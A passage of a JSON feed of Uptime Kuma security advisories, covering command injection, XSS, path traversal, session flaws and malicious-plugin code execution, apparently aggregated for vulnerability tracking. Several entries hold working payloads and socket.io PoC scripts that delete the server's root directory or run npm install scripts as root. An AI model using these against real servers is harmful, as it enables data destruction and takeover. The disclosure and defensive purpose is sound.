louislam/dockge","vuln_id":"CVE-2023-49805","vuln_ids":["CVE-2023-49805","GHSA-MJ22-23FF-2HRR"],"tags":["repo-advisory","docker","CWE-1385","security","repo:louislam/uptime-kuma"],"cluster_id":11327,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12020","html":"https://vulnwatch.ve1ve2.com/item/12020"}},{"id":12023,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-hfxh-rjv7-2369: Authenticated remote code execution via TailscalePing","summary":"Authenticated remote code execution via TailscalePing\n\n### Summary\r\n\r\nThe `runTailscalePing` method of the `TailscalePing` class injects the `hostname` parameter inside a shell command, leading to a command injection and the possibility to run arbitrary commands on the server.\r\n\r\n### Details\r\n\r\nWhen adding a new monitor on Uptime Kuma, we can select the \"Tailscale Ping\" type. Then we can add a hostname and insert a command injection payload into it. The front-end application requires that the field follow a specific pattern, this validation only happens on the front-end and can be removed by removing the attribute `pattern` on the `input` element.\r\n\r\nhttps://github.com/louislam/uptime-kuma/blob/dc4242019331e65a79ac16deef97510144e01b12/server/monitor-types/tailscale-ping.js#L40-L46\r\n\r\nWe can finally add the new monitor and observe that our command is being executed.\r\n\r\n**NOTE:** When using Uptime Kuma inside a container, the \"TailScale Ping\" type is not visible. We can fake this information by intercepting WebSocket messages and set the `isContainer` option to `false`.\r\n\r\n### PoC\r\n\r\n* Authenticate.\r\n* Create a new monitor.\r\n* Select the TailScale Ping type (if not visible, see the note in the details section).\r\n* Insert the command injection payload inside the `hostname` field. (for example `$(id >&2)`)\r\n* Remove the `pattern` requirement on the field.\r\n* Save and start the monitor.\r\n\r\n![image](https://user-images.githubusercontent.com/112879577/284943751-b63af693-0098-4b8d-a722-2baf8ff1dacf.png)\r\n\r\n### Impact\r\n\r\nAn authenticated user can execute arbitrary command on the server running Uptime Kuma.\r\n\r\n### Remediation\r\n\r\nThere are other command execution in the codebase, they use a method `spawn` from the `child_process` module which does not interpret the command as a shell command, the same thing should be done here.\r\n\r\n**NOTE:** The Tailscale CLI seems to support the `--` sequence. It should be used between the `ping` subcommand and the `hostname` argument to avoid argument injection.\nPatched:  1.23.7","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-hfxh-rjv7-2369","published_at":"2023-11-24T17:20:45Z","updated_at":"2023-11-24T17:20:45Z","fetched_at":"2026-11-22T13:40:14.883739Z","severity":"medium","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-hfxh-rjv7-2369","vuln_ids":["GHSA-HFXH-RJV7-2369"],"tags":["repo-advisory","CWE-78","security","repo:louislam/uptime-kuma"],"cluster_id":11332,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12023","html":"https://vulnwatch.ve1ve2.com/item/12023"}},{"id":12022,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-v4v2-8h88-65qj / CVE-2023-49276: Attribute Injection leading to XSS(Cross-Site-Scripting)","summary":"Attribute Injection leading to XSS(Cross-Site-Scripting)\n\n### Summary\r\nGoogle Analytics element Attribute Injection leading to XSS\r\n\r\n### Details\r\nSince the custom status interface can set an independent Google Analytics ID and the template has not been sanitized, there is an attribute injection vulnerability here, which can lead to XSS attacks.\r\n![image](https://user-images.githubusercontent.com/110759348/282278047-667b774b-421f-449a-8f95-3f3906ae4216.png)\r\n\r\n### PoC\r\n1. Run the latest version of the louislam/uptime-kuma container and initialize the account password.\r\n2. Create a new status page.\r\n3. Edit the status page and change the Google Analytics ID to following payload(it only works for firefox. Any attribute can be injected, but this seems the most intuitive):\r\n```\r\n123123\" onafterscriptexecute=alert(window.name+1),eval(window.name) a=\"x\r\n```\r\n\r\n4. Click Save and return to the interface. XSS occurs.\r\nscreenshots:\r\n![image](https://user-images.githubusercontent.com/110759348/282287393-4874974f-9416-4941-9c2e-a92ee2412197.png)\r\n\r\n![9d0603e634fb7da2e83a0a45dc0a36ac](https://user-images.githubusercontent.com/110759348/282287346-1deb0382-520f-47cf-b191-9b7d19c47879.png)\r\n\r\n\r\n\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 1.23.7","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v4v2-8h88-65qj","published_at":"2023-11-24T12:08:33Z","updated_at":"2023-11-30T13:43:21Z","fetched_at":"2026-11-22T13:40:14.883738Z","severity":"medium","cvss_score":6.3,"epss":0.00497,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2023-49276","vuln_ids":["CVE-2023-49276","GHSA-V4V2-8H88-65QJ"],"tags":["repo-advisory","","CWE-79","security","repo:louislam/uptime-kuma"],"cluster_id":11330,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12022","html":"https://vulnwatch.ve1ve2.com/item/12022"}},{"id":12024,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-g9v2-wqcj-j99g / CVE-2023-44400: Persistentent User Sessions","summary":"Persistentent User Sessions \n\n# Summary\r\n\r\nAttackers with access to a users' device can gain persistent account access.\r\nThis is caused by missing verification of Session Tokens after password changes and/or elapsed inactivity-periods.\r\n\r\n# Details\r\n\r\n`uptime-kuma` sets JWT tokens for users after successful authentication.\r\n\r\nThese tokens have the following design flaws:\r\n- After successful login, a JWT token and it is stored in `sessionStorage` or `localStorage`. \r\n  Which of the two is decided based on the `Remember Me` button. \r\n  The users' token is valid without any time limitation, even after long periods of inactivity. \r\n  This increases the risk of session hijacking if, for example, a user forgets to log off and leaves the PC.\r\n- sessions are only deleted on the client side after a user loggs out, meaning a local attacker could reuse said token with deep system access over the browser\r\n- If a user changes a password\r\n  - any previously logged in clients are not logged out\r\n  - previously issued tokens remained valid forever\r\n\r\nThese flaws allow user cookies to remain valid even after changing passwords or being inactive, posing a high security risk.\r\n\r\n# POC\r\n### Password resets not deactivating cookies\r\n- Log in.\r\n- Note the user cookie.\r\n- Change your password.\r\n- Attempt to log in again with the same cookie.\r\n- The cookie remains valid despite the password change.\r\n\r\n### Inactivity not deactivating sessions\r\n In testing, even after a period of over a day of inactivity, the session was still valid\r\n\r\n# Impact\r\n\r\nAnother person with local access to the device could take over the session permanently, even after hours of previous inactivity or a password change.\r\nSuch activity would not be obvious to the user (see https://github.com/louislam/uptime-kuma/issues/3481 if you want to help with this).\r\n\r\nWith this gained account access, an attacker can cause:\r\n\r\n## confidentially loss\r\n- monitors (including private ones not shared on public status pages)\r\n- notification providers \r\n- settings like `api-keys` (only used for accessing `/metrics`)\r\n- settings like secrets like the `Steam API Key`\r\n- maintenance periods\r\n\r\n## availability loss \r\n\r\n- by creating a lot of monitors and setting the retention policy very high leading to degraded database performance or out of storage\r\n- by creating a lot of `HTTP(s) - Browser Engine (Chrome/Chromium) (Beta)` leading to RAM exhaustion\r\n\r\n## integrity loss\r\n- by the attacker deleting a monitor\r\n- by the attacker deleting a monitor's history\r\n- by the atacker changing the meaning of a monitor (changing where it points)\r\n\r\n## scope creep\r\nIf operated in some restricted network, access to monitors may provide the ability to change the scope of the attack to a different piece of infrastructure, for example via SQL commands to a database server.\r\nWe have not classified this as `changed scope` because credentials stored in the application for accessing other systems are existing valid paths across the trust boundary, and the user should be \n\nAffected packages: docker:louislam/uptime-kuma, node.js:louislam/uptime-kuma\nPatched: louislam/uptime-kuma v1.23.3, louislam/uptime-kuma v1.23.3","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-g9v2-wqcj-j99g","published_at":"2023-10-09T12:49:48Z","updated_at":"2023-10-09T15:05:06Z","fetched_at":"2026-11-22T13:40:14.883739Z","severity":"medium","cvss_score":6.7,"epss":0.00282,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"louislam/uptime-kuma","vuln_id":"CVE-2023-44400","vuln_ids":["CVE-2023-44400","GHSA-G9V2-WQCJ-J99G"],"tags":["repo-advisory","docker","node.js","CWE-565","CWE-602","CWE-784","security","repo:louislam/uptime-kuma"],"cluster_id":11326,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12024","html":"https://vulnwatch.ve1ve2.com/item/12024"}},{"id":12025,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-vr8x-74pm-6vj7 / CVE-2023-36822: Authenticated path traversal via plugin repository name leading to unavailability or data loss","summary":"Authenticated path traversal via plugin repository name leading to unavailability or data loss\n\n### Summary\r\nA path traversal vulnerability via the plugin repository name allows an authenticated attacker to delete files on the server leading to unavailability and potentially data loss.\r\n\r\n### Details\r\nUptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.\r\nBefore a plugin is downloaded, the plugin installation directory is checked for existence. If it exists, it's removed before the plugin installation:\r\nhttps://github.com/louislam/uptime-kuma/blob/de74efb2e6601dcbcfed32cddefc4078a80fcb0b/server/plugins-manager.js#L75-L80\r\n\r\nBecause the plugin is not validated against the official list of plugins or sanitized, the check for existence and the removal of the plugin installation directory are prone to path traversal.\r\n\r\n### PoC\r\nIn the PoC below, the plugin name `../../../` (equivalent of `/` in the official Docker image) is checked for existence and subsequently removed.\r\n\r\n1. Start Uptime Kuma: `docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1`\r\n2. Create a user using the Uptime Kuma web interface, e.g. user `admin` with password `admin123`\r\n3. Create file `poc.js` with the following content:\r\n```\r\nSERVER = \"ws://localhost:3001\";\r\nUSERNAME = \"admin\";\r\nPASSWORD = \"admin123\";\r\n\r\n\r\nconst { io } = require(\"socket.io-client\");\r\nconst socket = io(SERVER);\r\nconst repo = \"\";\r\nconst name = \"../../../\"; // Equivalent to the root directory in the official Docker image\r\n\r\nsocket.emit(\r\n  \"login\",\r\n  { username: USERNAME, password: PASSWORD, token: \"\" },\r\n  (res) => {\r\n    if (res.ok !== true) console.log(\"Login failed\");\r\n\r\n    console.log(\"Login successful\");\r\n    socket.emit(\"installPlugin\", repo, name, () => {\r\n      console.log(\"Done\");\r\n      socket.close();\r\n    });\r\n  }\r\n);\r\n```\r\n4. Install `socket.io-client`: `npm install socket.io-client`\r\n5. Run the script: `node poc.js`:\r\n```\r\n# node poc.js\r\nLogin successful\r\nDone\r\n```\r\n7. Accessing the web interface or restarting the container won't work any more, because the root directory (`/`) has been removed from the file system:\r\n```\r\n➜  ~ docker exec -it uptime-kuma bash\r\nOCI runtime exec failed: exec failed: unable to start container process: exec: \"bash\": executable file not found in $PATH: unknown\r\n➜  ~ docker restart uptime-kuma\r\nError response from daemon: Cannot restart container uptime-kuma: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: \"/usr/bin/dumb-init\": stat /usr/bin/dumb-init: no such file or directory: unknown\r\n```\r\n\r\n### Impact\r\nThis vulnerability allows an authenticated attacker to delete files from the server Uptime Kuma is running on.\r\nDepending on which files are deleted, Uptime Kuma or the whole system may become unavailable due to data loss.\r\n\n\nAffected packages: docker:louislam/uptime-kuma, npm:louislam/uptime-kuma\nPatched: louislam/uptime-kuma 1.22.1, louislam/uptime-kuma 1.22.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vr8x-74pm-6vj7","published_at":"2023-07-04T13:03:10Z","updated_at":"2023-07-04T13:03:10Z","fetched_at":"2026-11-22T13:40:14.883740Z","severity":"medium","cvss_score":6.5,"epss":0.01213,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"louislam/uptime-kuma","vuln_id":"CVE-2023-36822","vuln_ids":["CVE-2023-36822","GHSA-VR8X-74PM-6VJ7"],"tags":["repo-advisory","docker","npm","CWE-20","CWE-22","security","repo:louislam/uptime-kuma"],"cluster_id":11334,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12025","html":"https://vulnwatch.ve1ve2.com/item/12025"}},{"id":12026,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-7grx-f945-mj96 / CVE-2023-36821: Authenticated remote code execution via malicious plugin installation","summary":"Authenticated remote code execution via malicious plugin installation\n\n### Summary\r\nInstallation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.\r\n\r\n### Details\r\nUptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.\r\nAfter downloading a plugin, it's installed by calling `npm install` in the installation directory of the plugin:\r\nhttps://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216\r\n\r\nBecause the plugin is not validated against the official list of plugins or installed with `npm install --ignore-scripts`, a maliciously crafted plugin taking advantage of [npm scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) can gain remote code execution.\r\n\r\n### PoC\r\nIn the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty `index.js` and a `package.json` containing the script: `\"preinstall\": \"echo \\\"Malicious code could have been executed as user $(whoami)\\\" > /tmp/poc\"`. This will be executed when installing the plugin.\r\n\r\n1. Start Uptime Kuma: `docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1`\r\n2. Create a user using the Uptime Kuma web interface, e.g. user `admin` with password `admin123`\r\n3. Confirm that the PoC file to be created doesn't exist yet:\r\n```\r\n➜  ~ docker exec -it uptime-kuma cat /tmp/poc\r\ncat: /tmp/poc: No such file or directory\r\n```\r\n4. Create file `poc.js` with the following content:\r\n```\r\nSERVER = \"ws://localhost:3001\";\r\nUSERNAME = \"admin\";\r\nPASSWORD = \"admin123\";\r\n\r\n\r\nconst { io } = require(\"socket.io-client\");\r\nconst socket = io(SERVER);\r\nconst repo = \"https://github.com/n-thumann/npm-install-script-poc\";\r\nconst name = \"npm-install-script-poc\";\r\n\r\nsocket.emit(\r\n  \"login\",\r\n  { username: USERNAME, password: PASSWORD, token: \"\" },\r\n  (res) => {\r\n    if (res.ok !== true) return console.log(\"Login failed\");\r\n\r\n    console.log(\"Login successful\");\r\n    socket.emit(\"installPlugin\", repo, name, () => {\r\n      console.log(\"Done\");\r\n      socket.close();\r\n    });\r\n  }\r\n);\r\n```\r\n5. Install `socket.io-client`: `npm install socket.io-client`\r\n6. Run the script: `node poc.js`:\r\n```\r\n# node poc.js\r\nLogin successful\r\nDone\r\n```\r\n7. The PoC file has been created:\r\n```\r\n➜  ~ docker exec -it uptime-kuma cat /tmp/poc\r\nMalicious code could have been executed as user root\r\n```\r\n\r\n### Impact\r\nThis vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.\n\nAffected packages: docker:louislam/uptime-kuma, npm:louislam/uptime-kuma\nPatched: louislam/uptime-kuma 1.22.1, louislam/uptime-kuma 1.22.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-7grx-f945-mj96","published_at":"2023-07-04T13:02:46Z","updated_at":"2023-07-04T13:02:46Z","fetched_at":"2026-11-22T13:40:14.883740Z","severity":"high","cvss_score":8.8,"epss":0.02017,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"louislam/uptime-kuma","vuln_id":"CVE-2023-36821","vuln_ids":["CVE-2023-36821","GHSA-7GRX-F945-MJ96"],"tags":["repo-advisory","docker","npm","CWE-20","security","repo:louislam/uptime-kuma"],"cluster_id":11336,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12026","html":"https://vulnwatch.ve1ve2.com/item/12026"}},{"id":12027,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-553g-fcpf-m3wp / CVE-2023-25811: Persistent XSS through \"new status page --> name\"","summary":"Persistent XSS through \"new status page --> name\" ### Summary Uptime Kuma status page allows persistent XSS. ### PoC 1. Run Uptime Kuma with version 1.19.2 2. Create a new status page with the following name: ` \">` 3. Press \"Next\" --> The payload is executed. 4. The payload is also executed when you select the new generated status page. ### Impact https://cwe.mitre.org/data/definitions/79.html ### Screenshots ![Screenshot from 2022-12-28 23-19-22](https://user-images.githubusercontent.com/47991713/209880528-fb3590ba-995e-4814-9c0f-651e3aa16b3c.png) ![Screenshot from 2022-12-28 23-21-01](https://user-images.githubusercontent.com/47991713/209880524-45ddad65-39e6-4eec-99c9-efb52bc9f476.png) ![Screenshot from 2022-12-28 23-19-31](https://user-images.githubusercontent.com/47991713/209880526-3373ac98-d87c-4b1e-929e-996518ff4dbf.png) Patched: 1.20.0","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-553g-fcpf-m3wp","published_at":"2023-02-13T10:28:01Z","updated_at":"2023-02-21T18:08:27Z","fetched_at":"2026-11-22T13:40:14.883741Z","severity":"medium","cvss_score":6.3,"epss":0.00474,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2023-25811","vuln_ids":["CVE-2023-25811","GHSA-553G-FCPF-M3WP"],"tags":["repo-advisory","CWE-79","security","repo:louislam/uptime-kuma"],"cluster_id":11338,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12027","html":"https://vulnwatch.ve1ve2.com/item/12027"}},{"id":12028,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-wh8j-xr66-f296 / CVE-2023-25810: Persistent XSS through description in status page","summary":"Persistent XSS through description in status page ### Summary Uptime Kuma status page allows persistent XSS. ### PoC 1. Run Uptime Kuma with version 1.19.2 2. Create a new status page. 3. Edit a status page and enter the following payload into \"description\": `\">` 4. Press \"Save\" --> The payload is executed. 5. The payload is also executed when you select the this status page. ### Impact https://cwe.mitre.org/data/definitions/79.html ### Screenshots ![Screenshot from 2022-12-28 23-40-04](https://user-images.githubusercontent.com/47991713/209881599-f0f15d38-98de-4a56-9f6a-f07bb9d76505.png) ![Screenshot from 2022-12-28 23-40-18](https://user-images.githubusercontent.com/47991713/209881596-43617f52-02db-45d4-967c-720d4ba91ab6.png) Patched: 1.20.0","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-wh8j-xr66-f296","published_at":"2023-02-13T10:27:22Z","updated_at":"2023-02-21T18:08:14Z","fetched_at":"2026-11-22T13:40:14.883741Z","severity":"medium","cvss_score":6.3,"epss":0.00396,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2023-25810","vuln_ids":["CVE-2023-25810","GHSA-WH8J-XR66-F296"],"tags":["repo-advisory","CWE-79","security","repo:louislam/uptime-kuma"],"cluster_id":11340,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12028","html":"https://vulnwatch.ve1ve2.com/item/12028"}}],"total":46,"has_more":false,"next_cursor":null,"limit":50,"page":1,"grouped":false,"filter":{"builds":"exclude","source":"gh-uptime-kuma"}}